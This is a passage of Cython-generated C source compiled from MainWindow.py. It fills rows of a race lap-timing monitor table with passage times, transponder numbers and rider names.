if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_5) { __pyx_t_12 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_12); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_12 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_12 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_15 = PyTuple_New(1+1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_15, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_15, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_15, NULL); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_v_color, __pyx_v_r, __pyx_int_3, __pyx_t_12); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":306 * self.TM_T_passage.insertRow( r ) * self.TM_T_passage.setRowHeight( r, 12) * if type == 0: # <<<<<<<<<<<<<< * setLine( self, color, r, 0, pos ) * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) */ goto __pyx_L23; } /* "MainWindow.py":310 * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) * else: * setLine( self, color, r, 0, "P(%d):%s"%(type, pos )) # <<<<<<<<<<<<<< * setLine( self, color, r, 3, Globals.createTime(millis - tt['lasttick'] ) ) * setLine( self, color, r, 1, Globals.createTime(millis ) ) */ /*else*/ { __pyx_t_6 = PyTuple_New(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 310, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_v_type); __Pyx_GIVEREF(__pyx_v_type); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_v_type); __Pyx_INCREF(__pyx_v_pos); __Pyx_GIVEREF(__pyx_v_pos); PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_v_pos); __pyx_t_12 = PyUnicode_Format(__pyx_kp_u_P_d_s, __pyx_t_6); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 310, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_v_color, __pyx_v_r, __pyx_int_0, __pyx_t_12); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 310, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":311 * else: * setLine( self, color, r, 0, "P(%d):%s"%(type, pos )) * setLine( self, color, r, 3, Globals.createTime(millis - tt['lasttick'] ) ) # <<<<<<<<<<<<<< * setLine( self, color, r, 1, Globals.createTime(millis ) ) * setLine( self, color, r, 2, "%8d"%tp ) */ __pyx_t_12 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_createTime); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lasttick); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = PyNumber_Subtract(__pyx_v_millis, __pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_15))) { __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_15); if (likely(__pyx_t_12)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_15); __Pyx_INCREF(__pyx_t_12); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_15, function); } } if (!__pyx_t_12) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_15, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_15)) { PyObject *__pyx_temp[2] = {__pyx_t_12, __pyx_t_2}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_15, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_15)) { PyObject *__pyx_temp[2] = {__pyx_t_12, __pyx_t_2}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_15, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_12); __pyx_t_12 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_t_5, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_v_color, __pyx_v_r, __pyx_int_3, __pyx_t_6); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 311, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } __pyx_L23:; /* "MainWindow.py":312 * setLine( self, color, r, 0, "P(%d):%s"%(type, pos )) * setLine( self, color, r, 3, Globals.createTime(millis - tt['lasttick'] ) ) * setLine( self, color, r, 1, Globals.createTime(millis ) ) # <<<<<<<<<<<<<< * setLine( self, color, r, 2, "%8d"%tp ) * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 312, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_createTime); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 312, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_15 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_millis); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 312, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_millis}; __pyx_t_15 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 312, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_15); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_millis}; __pyx_t_15 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 312, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_15); } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 312, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_millis); __Pyx_GIVEREF(__pyx_v_millis); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_v_millis); __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 312, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_v_color, __pyx_v_r, __pyx_int_1, __pyx_t_15); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 312, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":313 * setLine( self, color, r, 3, Globals.createTime(millis - tt['lasttick'] ) ) * setLine( self, color, r, 1, Globals.createTime(millis ) ) * setLine( self, color, r, 2, "%8d"%tp ) # <<<<<<<<<<<<<< * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) * */ __pyx_t_5 = PyUnicode_Format(__pyx_kp_u_8d, __pyx_v_tp); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 313, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_15 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_v_color, __pyx_v_r, __pyx_int_2, __pyx_t_5); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 313, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; /* "MainWindow.py":314 * setLine( self, color, r, 1, Globals.createTime(millis ) ) * setLine( self, color, r, 2, "%8d"%tp ) * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) # <<<<<<<<<<<<<< * * if tt['ridernum'] == 0: */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_createTime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lastlap); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_6) { __pyx_t_15 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_15); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_15 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_15 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_12 = PyTuple_New(1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_12, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_12, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_12, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_v_color, __pyx_v_r, __pyx_int_3, __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 314, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":316 * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) * * if tt['ridernum'] == 0: # <<<<<<<<<<<<<< * setLine(self, colors["Cyan"], r, 4, "" ) * setLine(self, colors["Cyan"], r, 5, "" ) */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ridernum); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 316, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_15 = __Pyx_PyInt_EqObjC(__pyx_t_2, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 316, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_15); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 316, __pyx_L7_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; if (__pyx_t_7) { /* "MainWindow.py":317 * * if tt['ridernum'] == 0: * setLine(self, colors["Cyan"], r, 4, "" ) # <<<<<<<<<<<<<< * setLine(self, colors["Cyan"], r, 5, "" ) * else: */ __pyx_t_15 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 317, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __pyx_t_2 = PyObject_GetItem(__pyx_t_15, __pyx_n_u_Cyan); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 317, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_t_2, __pyx_v_r, __pyx_int_4, __pyx_kp_u__6); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 317, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; /* "MainWindow.py":318 * if tt['ridernum'] == 0: * setLine(self, colors["Cyan"], r, 4, "" ) * setLine(self, colors["Cyan"], r, 5, "" ) # <<<<<<<<<<<<<< * else: * setLine(self, colors["White"], r, 4, "%5d"%tt['ridernum'] ) */ __pyx_t_15 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 318, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __pyx_t_2 = PyObject_GetItem(__pyx_t_15, __pyx_n_u_Cyan); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 318, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_t_2, __pyx_v_r, __pyx_int_5, __pyx_kp_u__6); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 318, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; /* "MainWindow.py":316 * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) * * if tt['ridernum'] == 0: # <<<<<<<<<<<<<< * setLine(self, colors["Cyan"], r, 4, "" ) * setLine(self, colors["Cyan"], r, 5, "" ) */ goto __pyx_L24; } /* "MainWindow.py":320 * setLine(self, colors["Cyan"], r, 5, "" ) * else: * setLine(self, colors["White"], r, 4, "%5d"%tt['ridernum'] ) # <<<<<<<<<<<<<< * setLine(self, colors["White"], r, 5, tt['ridername'] ) * */ /*else*/ { __pyx_t_15 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 320, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __pyx_t_2 = PyObject_GetItem(__pyx_t_15, __pyx_n_u_White); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 320, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ridernum); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 320, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __pyx_t_12 = PyUnicode_Format(__pyx_kp_u_5d, __pyx_t_15); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 320, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_t_2, __pyx_v_r, __pyx_int_4, __pyx_t_12); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 320, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; /* "MainWindow.py":321 * else: * setLine(self, colors["White"], r, 4, "%5d"%tt['ridernum'] ) * setLine(self, colors["White"], r, 5, tt['ridername'] ) # <<<<<<<<<<<<<< * * except Exception as e: */ __pyx_t_15 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 321, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __pyx_t_12 = PyObject_GetItem(__pyx_t_15, __pyx_n_u_White); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 321, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ridername); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 321, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_15); __pyx_t_2 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_t_12, __pyx_v_r, __pyx_int_5, __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 321, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __pyx_L24:; /* "MainWindow.py":263 * type = e.type * color = colors["White"] * try: # <<<<<<<<<<<<<< * if tp in Globals.dictBestLapMonitor: * tt = Globals.dictBestLapMonitor[tp] */ } __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; goto __pyx_L14_try_end; __pyx_L7_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":323 * setLine(self, colors["White"], r, 5, tt['ridername'] ) * * except Exception as e: # <<<<<<<<<<<<<< * print("in updateNonitor") * print( e ) */ __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_14) { __Pyx_AddTraceback("MainWindow.MainWindow.updateMonitor", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_15, &__pyx_t_12) < 0) __PYX_ERR(0, 323, __pyx_L9_except_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GOTREF(__pyx_t_15); __Pyx_GOTREF(__pyx_t_12); __Pyx_INCREF(__pyx_t_15); __Pyx_DECREF_SET(__pyx_v_e, __pyx_t_15); /*try:*/ { /* "MainWindow.py":324 * * except Exception as e: * print("in updateNonitor") # <<<<<<<<<<<<<< * print( e ) * */ __pyx_t_5 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__17, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 324, __pyx_L30_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":325 * except Exception as e: * print("in updateNonitor") * print( e ) # <<<<<<<<<<<<<< * * def main(self): */ __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 325, __pyx_L30_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_e); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_5, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 325, __pyx_L30_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } /* "MainWindow.py":323 * setLine(self, colors["White"], r, 5, tt['ridername'] ) * * except Exception as e: # <<<<<<<<<<<<<< * print("in updateNonitor") * print( e ) */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; goto __pyx_L31; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L30_error:; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __Pyx_XGOTREF(__pyx_t_20); __Pyx_XGOTREF(__pyx_t_21); __Pyx_XGOTREF(__pyx_t_22); __Pyx_XGOTREF(__pyx_t_23); __pyx_t_14 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_21); __Pyx_XGIVEREF(__pyx_t_22); __Pyx_XGIVEREF(__pyx_t_23); __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); } __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); __Pyx_XGIVEREF(__pyx_t_20); __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; goto __pyx_L9_except_error; } 